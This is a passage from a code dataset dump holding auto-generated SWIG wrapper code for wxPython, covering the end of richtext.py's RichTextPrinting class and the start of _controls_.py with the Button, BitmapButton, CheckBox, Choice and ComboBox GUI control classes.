_richtext.RichTextPrinting_PageSetup(*args, **kwargs)\n\n def SetHeaderFooterData(*args, **kwargs):\n \"\"\"SetHeaderFooterData(self, wxRichTextHeaderFooterData data)\"\"\"\n return _richtext.RichTextPrinting_SetHeaderFooterData(*args, **kwargs)\n\n def GetHeaderFooterData(*args, **kwargs):\n \"\"\"GetHeaderFooterData(self) -> wxRichTextHeaderFooterData\"\"\"\n return _richtext.RichTextPrinting_GetHeaderFooterData(*args, **kwargs)\n\n def SetHeaderText(*args, **kwargs):\n \"\"\"SetHeaderText(self, String text, int page=RICHTEXT_PAGE_ALL, int location=RICHTEXT_PAGE_CENTRE)\"\"\"\n return _richtext.RichTextPrinting_SetHeaderText(*args, **kwargs)\n\n def GetHeaderText(*args, **kwargs):\n \"\"\"GetHeaderText(self, int page=RICHTEXT_PAGE_EVEN, int location=RICHTEXT_PAGE_CENTRE) -> String\"\"\"\n return _richtext.RichTextPrinting_GetHeaderText(*args, **kwargs)\n\n def SetFooterText(*args, **kwargs):\n \"\"\"SetFooterText(self, String text, int page=RICHTEXT_PAGE_ALL, int location=RICHTEXT_PAGE_CENTRE)\"\"\"\n return _richtext.RichTextPrinting_SetFooterText(*args, **kwargs)\n\n def GetFooterText(*args, **kwargs):\n \"\"\"GetFooterText(self, int page=RICHTEXT_PAGE_EVEN, int location=RICHTEXT_PAGE_CENTRE) -> String\"\"\"\n return _richtext.RichTextPrinting_GetFooterText(*args, **kwargs)\n\n def SetShowOnFirstPage(*args, **kwargs):\n \"\"\"SetShowOnFirstPage(self, bool show)\"\"\"\n return _richtext.RichTextPrinting_SetShowOnFirstPage(*args, **kwargs)\n\n def SetHeaderFooterFont(*args, **kwargs):\n \"\"\"SetHeaderFooterFont(self, Font font)\"\"\"\n return _richtext.RichTextPrinting_SetHeaderFooterFont(*args, **kwargs)\n\n def SetHeaderFooterTextColour(*args, **kwargs):\n \"\"\"SetHeaderFooterTextColour(self, Colour font)\"\"\"\n return _richtext.RichTextPrinting_SetHeaderFooterTextColour(*args, **kwargs)\n\n def GetPrintData(*args, **kwargs):\n \"\"\"GetPrintData(self) -> PrintData\"\"\"\n return _richtext.RichTextPrinting_GetPrintData(*args, **kwargs)\n\n def GetPageSetupData(*args, **kwargs):\n \"\"\"GetPageSetupData(self) -> PageSetupDialogData\"\"\"\n return _richtext.RichTextPrinting_GetPageSetupData(*args, **kwargs)\n\n def SetPrintData(*args, **kwargs):\n \"\"\"SetPrintData(self, PrintData printData)\"\"\"\n return _richtext.RichTextPrinting_SetPrintData(*args, **kwargs)\n\n def SetPageSetupData(*args, **kwargs):\n \"\"\"SetPageSetupData(self, wxPageSetupData pageSetupData)\"\"\"\n return _richtext.RichTextPrinting_SetPageSetupData(*args, **kwargs)\n\n def SetRichTextBufferPreview(*args, **kwargs):\n \"\"\"SetRichTextBufferPreview(self, RichTextBuffer buf)\"\"\"\n return _richtext.RichTextPrinting_SetRichTextBufferPreview(*args, **kwargs)\n\n def GetRichTextBufferPreview(*args, **kwargs):\n \"\"\"GetRichTextBufferPreview(self) -> RichTextBuffer\"\"\"\n return _richtext.RichTextPrinting_GetRichTextBufferPreview(*args, **kwargs)\n\n def SetRichTextBufferPrinting(*args, **kwargs):\n \"\"\"SetRichTextBufferPrinting(self, RichTextBuffer buf)\"\"\"\n return _richtext.RichTextPrinting_SetRichTextBufferPrinting(*args, **kwargs)\n\n def GetRichTextBufferPrinting(*args, **kwargs):\n \"\"\"GetRichTextBufferPrinting(self) -> RichTextBuffer\"\"\"\n return _richtext.RichTextPrinting_GetRichTextBufferPrinting(*args, **kwargs)\n\n def SetParentWindow(*args, **kwargs):\n \"\"\"SetParentWindow(self, Window parent)\"\"\"\n return _richtext.RichTextPrinting_SetParentWindow(*args, **kwargs)\n\n def GetParentWindow(*args, **kwargs):\n \"\"\"GetParentWindow(self) -> Window\"\"\"\n return _richtext.RichTextPrinting_GetParentWindow(*args, **kwargs)\n\n def SetTitle(*args, **kwargs):\n \"\"\"SetTitle(self, String title)\"\"\"\n return _richtext.RichTextPrinting_SetTitle(*args, **kwargs)\n\n def GetTitle(*args, **kwargs):\n \"\"\"GetTitle(self) -> String\"\"\"\n return _richtext.RichTextPrinting_GetTitle(*args, **kwargs)\n\n def SetPreviewRect(*args, **kwargs):\n \"\"\"SetPreviewRect(self, Rect rect)\"\"\"\n return _richtext.RichTextPrinting_SetPreviewRect(*args, **kwargs)\n\n def GetPreviewRect(*args, **kwargs):\n \"\"\"GetPreviewRect(self) -> Rect\"\"\"\n return _richtext.RichTextPrinting_GetPreviewRect(*args, **kwargs)\n\n_richtext.RichTextPrinting_swigregister(RichTextPrinting)\n\n\n\n", "id": "3944823", "language": "Python", "matching_score": 8.82128620147705, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/richtext.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\nimport _controls_\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _core\nwx = _core \n#---------------------------------------------------------------------------\n\nBU_LEFT = _controls_.BU_LEFT\nBU_TOP = _controls_.BU_TOP\nBU_RIGHT = _controls_.BU_RIGHT\nBU_BOTTOM = _controls_.BU_BOTTOM\nBU_ALIGN_MASK = _controls_.BU_ALIGN_MASK\nBU_EXACTFIT = _controls_.BU_EXACTFIT\nBU_AUTODRAW = _controls_.BU_AUTODRAW\nclass Button(_core.Control):\n \"\"\"\n A button is a control that contains a text string, and is one of the most\n common elements of a GUI. It may be placed on a dialog box or panel, or\n indeed almost any other window.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=ButtonNameStr) -> Button\n\n Create and show a button. The preferred way to create standard\n buttons is to use a standard ID and an empty label. In this case\n wxWigets will automatically use a stock label that corresponds to the\n ID given. These labels may vary across platforms as the platform\n itself will provide the label if possible. In addition, the button\n will be decorated with stock icons under GTK+ 2.\n \"\"\"\n _controls_.Button_swiginit(self,_controls_.new_Button(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=ButtonNameStr) -> bool\n\n Acutally create the GUI Button for 2-phase creation.\n \"\"\"\n return _controls_.Button_Create(*args, **kwargs)\n\n def SetDefault(*args, **kwargs):\n \"\"\"\n SetDefault(self)\n\n This sets the button to be the default item for the panel or dialog box.\n \"\"\"\n return _controls_.Button_SetDefault(*args, **kwargs)\n\n def GetDefaultSize(*args, **kwargs):\n \"\"\"\n GetDefaultSize() -> Size\n\n Returns the default button size for this platform.\n \"\"\"\n return _controls_.Button_GetDefaultSize(*args, **kwargs)\n\n GetDefaultSize = staticmethod(GetDefaultSize)\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.Button_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n_controls_.Button_swigregister(Button)\ncvar = _controls_.cvar\nButtonNameStr = cvar.ButtonNameStr\n\ndef PreButton(*args, **kwargs):\n \"\"\"\n PreButton() -> Button\n\n Precreate a Button for 2-phase creation.\n \"\"\"\n val = _controls_.new_PreButton(*args, **kwargs)\n return val\n\ndef Button_GetDefaultSize(*args):\n \"\"\"\n Button_GetDefaultSize() -> Size\n\n Returns the default button size for this platform.\n \"\"\"\n return _controls_.Button_GetDefaultSize(*args)\n\ndef Button_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n Button_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.Button_GetClassDefaultAttributes(*args, **kwargs)\n\nclass BitmapButton(Button):\n \"\"\"\n A Button that contains a bitmap. A bitmap button can be supplied with a\n single bitmap, and wxWidgets will draw all button states using this bitmap. If\n the application needs more control, additional bitmaps for the selected state,\n unpressed focused state, and greyed-out state may be supplied.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Bitmap bitmap=wxNullBitmap, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=BU_AUTODRAW, Validator validator=DefaultValidator, \n String name=ButtonNameStr) -> BitmapButton\n\n Create and show a button with a bitmap for the label.\n \"\"\"\n _controls_.BitmapButton_swiginit(self,_controls_.new_BitmapButton(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Bitmap bitmap=wxNullBitmap, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=BU_AUTODRAW, Validator validator=DefaultValidator, \n String name=ButtonNameStr) -> bool\n\n Acutally create the GUI BitmapButton for 2-phase creation.\n \"\"\"\n return _controls_.BitmapButton_Create(*args, **kwargs)\n\n def GetBitmapLabel(*args, **kwargs):\n \"\"\"\n GetBitmapLabel(self) -> Bitmap\n\n Returns the label bitmap (the one passed to the constructor).\n \"\"\"\n return _controls_.BitmapButton_GetBitmapLabel(*args, **kwargs)\n\n def GetBitmapDisabled(*args, **kwargs):\n \"\"\"\n GetBitmapDisabled(self) -> Bitmap\n\n Returns the bitmap for the disabled state.\n \"\"\"\n return _controls_.BitmapButton_GetBitmapDisabled(*args, **kwargs)\n\n def GetBitmapFocus(*args, **kwargs):\n \"\"\"\n GetBitmapFocus(self) -> Bitmap\n\n Returns the bitmap for the focused state.\n \"\"\"\n return _controls_.BitmapButton_GetBitmapFocus(*args, **kwargs)\n\n def GetBitmapSelected(*args, **kwargs):\n \"\"\"\n GetBitmapSelected(self) -> Bitmap\n\n Returns the bitmap for the selected state.\n \"\"\"\n return _controls_.BitmapButton_GetBitmapSelected(*args, **kwargs)\n\n def GetBitmapHover(*args, **kwargs):\n \"\"\"\n GetBitmapHover(self) -> Bitmap\n\n Returns the bitmap used when the mouse is over the button, may be invalid.\n \"\"\"\n return _controls_.BitmapButton_GetBitmapHover(*args, **kwargs)\n\n def SetBitmapDisabled(*args, **kwargs):\n \"\"\"\n SetBitmapDisabled(self, Bitmap bitmap)\n\n Sets the bitmap for the disabled button appearance.\n \"\"\"\n return _controls_.BitmapButton_SetBitmapDisabled(*args, **kwargs)\n\n def SetBitmapFocus(*args, **kwargs):\n \"\"\"\n SetBitmapFocus(self, Bitmap bitmap)\n\n Sets the bitmap for the button appearance when it has the keyboard focus.\n \"\"\"\n return _controls_.BitmapButton_SetBitmapFocus(*args, **kwargs)\n\n def SetBitmapSelected(*args, **kwargs):\n \"\"\"\n SetBitmapSelected(self, Bitmap bitmap)\n\n Sets the bitmap for the selected (depressed) button appearance.\n \"\"\"\n return _controls_.BitmapButton_SetBitmapSelected(*args, **kwargs)\n\n def SetBitmapLabel(*args, **kwargs):\n \"\"\"\n SetBitmapLabel(self, Bitmap bitmap)\n\n Sets the bitmap label for the button. This is the bitmap used for the\n unselected state, and for all other states if no other bitmaps are provided.\n \"\"\"\n return _controls_.BitmapButton_SetBitmapLabel(*args, **kwargs)\n\n def SetBitmapHover(*args, **kwargs):\n \"\"\"\n SetBitmapHover(self, Bitmap hover)\n\n Sets the bitmap to be shown when the mouse is over the button. This function\n is new since wxWidgets version 2.7.0 and the hover bitmap is currently only\n supported in wxMSW.\n \"\"\"\n return _controls_.BitmapButton_SetBitmapHover(*args, **kwargs)\n\n def SetMargins(*args, **kwargs):\n \"\"\"SetMargins(self, int x, int y)\"\"\"\n return _controls_.BitmapButton_SetMargins(*args, **kwargs)\n\n def GetMarginX(*args, **kwargs):\n \"\"\"GetMarginX(self) -> int\"\"\"\n return _controls_.BitmapButton_GetMarginX(*args, **kwargs)\n\n def GetMarginY(*args, **kwargs):\n \"\"\"GetMarginY(self) -> int\"\"\"\n return _controls_.BitmapButton_GetMarginY(*args, **kwargs)\n\n BitmapDisabled = property(GetBitmapDisabled,SetBitmapDisabled,doc=\"See `GetBitmapDisabled` and `SetBitmapDisabled`\") \n BitmapFocus = property(GetBitmapFocus,SetBitmapFocus,doc=\"See `GetBitmapFocus` and `SetBitmapFocus`\") \n BitmapHover = property(GetBitmapHover,SetBitmapHover,doc=\"See `GetBitmapHover` and `SetBitmapHover`\") \n BitmapLabel = property(GetBitmapLabel,SetBitmapLabel,doc=\"See `GetBitmapLabel` and `SetBitmapLabel`\") \n BitmapSelected = property(GetBitmapSelected,SetBitmapSelected,doc=\"See `GetBitmapSelected` and `SetBitmapSelected`\") \n MarginX = property(GetMarginX,doc=\"See `GetMarginX`\") \n MarginY = property(GetMarginY,doc=\"See `GetMarginY`\") \n_controls_.BitmapButton_swigregister(BitmapButton)\n\ndef PreBitmapButton(*args, **kwargs):\n \"\"\"\n PreBitmapButton() -> BitmapButton\n\n Precreate a BitmapButton for 2-phase creation.\n \"\"\"\n val = _controls_.new_PreBitmapButton(*args, **kwargs)\n return val\n\n#---------------------------------------------------------------------------\n\nCHK_2STATE = _controls_.CHK_2STATE\nCHK_3STATE = _controls_.CHK_3STATE\nCHK_ALLOW_3RD_STATE_FOR_USER = _controls_.CHK_ALLOW_3RD_STATE_FOR_USER\nCHK_UNCHECKED = _controls_.CHK_UNCHECKED\nCHK_CHECKED = _controls_.CHK_CHECKED\nCHK_UNDETERMINED = _controls_.CHK_UNDETERMINED\nclass CheckBox(_core.Control):\n \"\"\"\n A checkbox is a labelled box which by default is either on (the\n checkmark is visible) or off (no checkmark). Optionally (When the\n wx.CHK_3STATE style flag is set) it can have a third state, called the\n mixed or undetermined state. Often this is used as a \"Does Not\n Apply\" state.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=CheckBoxNameStr) -> CheckBox\n\n Creates and shows a CheckBox control\n \"\"\"\n _controls_.CheckBox_swiginit(self,_controls_.new_CheckBox(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=CheckBoxNameStr) -> bool\n\n Actually create the GUI CheckBox for 2-phase creation.\n \"\"\"\n return _controls_.CheckBox_Create(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"\n GetValue(self) -> bool\n\n Gets the state of a 2-state CheckBox. Returns True if it is checked,\n False otherwise.\n \"\"\"\n return _controls_.CheckBox_GetValue(*args, **kwargs)\n\n def IsChecked(*args, **kwargs):\n \"\"\"\n IsChecked(self) -> bool\n\n Similar to GetValue, but raises an exception if it is not a 2-state\n CheckBox.\n \"\"\"\n return _controls_.CheckBox_IsChecked(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"\n SetValue(self, bool state)\n\n Set the state of a 2-state CheckBox. Pass True for checked, False for\n unchecked.\n \"\"\"\n return _controls_.CheckBox_SetValue(*args, **kwargs)\n\n def Get3StateValue(*args, **kwargs):\n \"\"\"\n Get3StateValue(self) -> int\n\n Returns wx.CHK_UNCHECKED when the CheckBox is unchecked,\n wx.CHK_CHECKED when it is checked and wx.CHK_UNDETERMINED when it's in\n the undetermined state. Raises an exceptiion when the function is\n used with a 2-state CheckBox.\n \"\"\"\n return _controls_.CheckBox_Get3StateValue(*args, **kwargs)\n\n def Set3StateValue(*args, **kwargs):\n \"\"\"\n Set3StateValue(self, int state)\n\n Sets the CheckBox to the given state. The state parameter can be one\n of the following: wx.CHK_UNCHECKED (Check is off), wx.CHK_CHECKED (the\n Check is on) or wx.CHK_UNDETERMINED (Check is mixed). Raises an\n exception when the CheckBox is a 2-state checkbox and setting the\n state to wx.CHK_UNDETERMINED.\n \"\"\"\n return _controls_.CheckBox_Set3StateValue(*args, **kwargs)\n\n def Is3State(*args, **kwargs):\n \"\"\"\n Is3State(self) -> bool\n\n Returns whether or not the CheckBox is a 3-state CheckBox.\n \"\"\"\n return _controls_.CheckBox_Is3State(*args, **kwargs)\n\n def Is3rdStateAllowedForUser(*args, **kwargs):\n \"\"\"\n Is3rdStateAllowedForUser(self) -> bool\n\n Returns whether or not the user can set the CheckBox to the third\n state.\n \"\"\"\n return _controls_.CheckBox_Is3rdStateAllowedForUser(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.CheckBox_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n ThreeStateValue = property(Get3StateValue,Set3StateValue,doc=\"See `Get3StateValue` and `Set3StateValue`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_controls_.CheckBox_swigregister(CheckBox)\nCheckBoxNameStr = cvar.CheckBoxNameStr\n\ndef PreCheckBox(*args, **kwargs):\n \"\"\"\n PreCheckBox() -> CheckBox\n\n Precreate a CheckBox for 2-phase creation.\n \"\"\"\n val = _controls_.new_PreCheckBox(*args, **kwargs)\n return val\n\ndef CheckBox_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n CheckBox_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.CheckBox_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass Choice(_core.ControlWithItems):\n \"\"\"\n A Choice control is used to select one of a list of strings.\n Unlike a `wx.ListBox`, only the selection is visible until the\n user pulls down the menu of choices.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize,\n List choices=EmptyList, long style=0, Validator validator=DefaultValidator,\n String name=ChoiceNameStr) -> Choice\n\n Create and show a Choice control\n \"\"\"\n _controls_.Choice_swiginit(self,_controls_.new_Choice(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize,\n List choices=EmptyList, long style=0, Validator validator=DefaultValidator,\n String name=ChoiceNameStr) -> bool\n\n Actually create the GUI Choice control for 2-phase creation\n \"\"\"\n return _controls_.Choice_Create(*args, **kwargs)\n\n def GetCurrentSelection(*args, **kwargs):\n \"\"\"\n GetCurrentSelection(self) -> int\n\n Unlike `GetSelection` which only returns the accepted selection value,\n i.e. the selection in the control once the user closes the dropdown\n list, this function returns the current selection. That is, while the\n dropdown list is shown, it returns the currently selected item in\n it. When it is not shown, its result is the same as for the other\n function.\n \"\"\"\n return _controls_.Choice_GetCurrentSelection(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.Choice_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n CurrentSelection = property(GetCurrentSelection,doc=\"See `GetCurrentSelection`\") \n_controls_.Choice_swigregister(Choice)\nChoiceNameStr = cvar.ChoiceNameStr\n\ndef PreChoice(*args, **kwargs):\n \"\"\"\n PreChoice() -> Choice\n\n Precreate a Choice control for 2-phase creation.\n \"\"\"\n val = _controls_.new_PreChoice(*args, **kwargs)\n return val\n\ndef Choice_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n Choice_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.Choice_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass ComboBox(Choice):\n \"\"\"\n A combobox is like a combination of an edit control and a\n listbox. It can be displayed as static list with editable or\n read-only text field; or a drop-down list with text field.\n\n A combobox permits a single selection only. Combobox items are\n numbered from zero.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(Window parent, int id=-1, String value=EmptyString,\n Point pos=DefaultPosition, Size size=DefaultSize,\n List choices=EmptyList, long style=0, Validator validator=DefaultValidator,\n String name=ComboBoxNameStr) -> ComboBox\n\n Constructor, creates and shows a ComboBox control.\n \"\"\"\n _controls_.ComboBox_swiginit(self,_controls_.new_ComboBox(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(Window parent, int id=-1, String value=EmptyString,\n Point pos=DefaultPosition, Size size=DefaultSize,\n List choices=EmptyList, long style=0, Validator validator=DefaultValidator,\n String name=ChoiceNameStr) -> bool\n\n Actually create the GUI wxComboBox control for 2-phase creation\n \"\"\"\n return _controls_.ComboBox_Create(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"\n GetValue(self) -> String\n\n Returns the current value in the combobox text field.\n \"\"\"\n return _controls_.ComboBox_GetValue(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, String value)\"\"\"\n return _controls_.ComboBox_SetValue(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"\n Copy(self)\n\n Copies the selected text to the clipboard.\n \"\"\"\n return _controls_.ComboBox_Copy(*args, **kwargs)\n\n def Cut(*args, **kwargs):\n \"\"\"\n Cut(self)\n\n Copies the selected text to the clipboard and removes the selection.\n \"\"\"\n return _controls_.ComboBox_Cut(*args, **kwargs)\n\n def Paste(*args, **kwargs):\n \"\"\"\n Paste(self)\n\n Pastes text from the clipboard to the text field.\n \"\"\"\n return _controls_.ComboBox_Paste(*args, **kwargs)\n\n def SetInsertionPoint(*args, **kwargs):\n \"\"\"\n SetInsertionPoint(self, long pos)\n\n Sets the insertion point in the combobox text field.\n \"\"\"\n return _controls_.ComboBox_SetInsertionPoint(*args, **kwargs)\n\n def GetInsertionPoint(*args, **kwargs):\n \"\"\"\n GetInsertionPoint(self) -> long\n\n Returns the insertion point for the combobox's text field.\n \"\"\"\n return _controls_.ComboBox_GetInsertionPoint(*args, **kwargs)\n\n def GetLastPosition(*args, **kwargs):\n \"\"\"\n GetLastPosition(self) -> long\n\n Returns the last position in the combobox text field.\n \"\"\"\n return _controls_.ComboBox_GetLastPosition(*args, **kwargs)\n\n def Replace(*args, **kwargs):\n \"\"\"\n Replace(self, long from, long to, String value)\n\n Replaces the text between two positions with the given text, in the\n combobox text field.\n \"\"\"\n return _controls_.ComboBox_Replace(*args, **kwargs)\n\n def SetMark(*args, **kwargs):\n \"\"\"\n SetMark(self, long from, long to)\n\n Selects the text between the two positions in the combobox text field.\n \"\"\"\n return _controls_.ComboBox_SetMark(*args, **kwargs)\n\n def GetMark(*args, **kwargs):\n \"\"\"\n GetMark(self) -> (from, to)\n\n Gets the positions of the begining and ending of the selection mark in\n the combobox text field.\n \"\"\"\n return _controls_.ComboBox_GetMark(*args, **kwargs)\n\n def GetCurrentSelection(*args, **kwargs):\n \"\"\"\n GetCurrentSelection(self) -> int\n\n Unlike `GetSelection` which only returns the accepted selection value,\n i.e. the selection in the control once the user closes the dropdown\n list, this function returns the current selection. That is, while the\n dropdown list is shown, it returns the currently selected item in\n it. When it is not shown, its result is the same as for the other\n function.\n \"\"\"\n return _controls_.ComboBox_GetCurrentSelection(*args, **kwargs)\n\n def SetStringSelection(*args, **kwargs):\n \"\"\"\n SetStringSelection(self, String string) -> bool\n\n Select the item with the specifed string\n \"\"\"\n return _controls_.ComboBox_SetStringSelection(*args, **kwargs)\n\n def SetEditable(*args, **kwargs):\n \"\"\"SetEditable(self, bool editable)\"\"\"\n return _controls_.ComboBox_SetEditable(*args, **kwargs)\n\n def SetInsertionPointEnd(*args, **kwargs):\n \"\"\"\n SetInsertionPointEnd(self)\n\n Sets the insertion point at the end of the combobox text field.\n \"\"\"\n return _controls_.ComboBox_SetInsertionPointEnd(*args, **kwargs)\n\n def Remove(*args, **kwargs):\n \"\"\"\n Remove(self, long from, long to)\n\n Removes the text between the two positions in the combobox text field.\n \"\"\"\n return _controls_.ComboBox_Remove(*args, **kwargs)\n\n def IsEditable(*args, **kwargs):\n \"\"\"\n IsEditable(self) -> bool\n\n Returns True if the combo is ediatable (not read-only.)\n \"\"\"\n return _controls_.ComboBox_IsEditable(*args, **kwargs)\n\n def Undo(*args, **kwargs):\n \"\"\"\n Undo(self)\n\n Redoes the last undo in the text field. Windows only.\n \"\"\"\n return _controls_.ComboBox_Undo(*args, **kwargs)\n\n def Redo(*args, **kwargs):\n \"\"\"\n Redo(self)\n\n Undoes the last edit in the text field. Windows only.\n \"\"\"\n return _controls_.ComboBox_Redo(*args, **kwargs)\n\n def SelectAll(*args, **kwargs):\n \"\"\"\n SelectAll(self)\n\n Select all the text in the combo's text field.\n \"\"\"\n return _controls_.ComboBox_SelectAll(*args, **kwargs)\n\n def CanCopy(*args, **kwargs):\n \"\"\"\n CanCopy(self) -> bool\n\n Returns True if the combobox is editable and there is a text selection\n to copy to the clipboard. Only available on Windows.\n \"\"\"\n return _controls_.ComboBox_CanCopy(*args, **kwargs)\n\n def CanCut(*args, **kwargs):\n \"\"\"\n CanCut(self) -> bool\n\n Returns True if the combobox is editable and there is a text selection\n to copy to the clipboard. Only available on Windows.\n \"\"\"\n return _controls_.ComboBox_CanCut(*args, **kwargs)\n\n def CanPaste(*args, **kwargs):\n \"\"\"\n CanPaste(self) -> bool\n\n Returns True if the combobox is editable and there is text on the\n clipboard that can be pasted into the text field. Only available on\n Windows.\n \"\"\"\n return _controls_.ComboBox_CanPaste(*args, **kwargs)\n\n def CanUndo(*args, 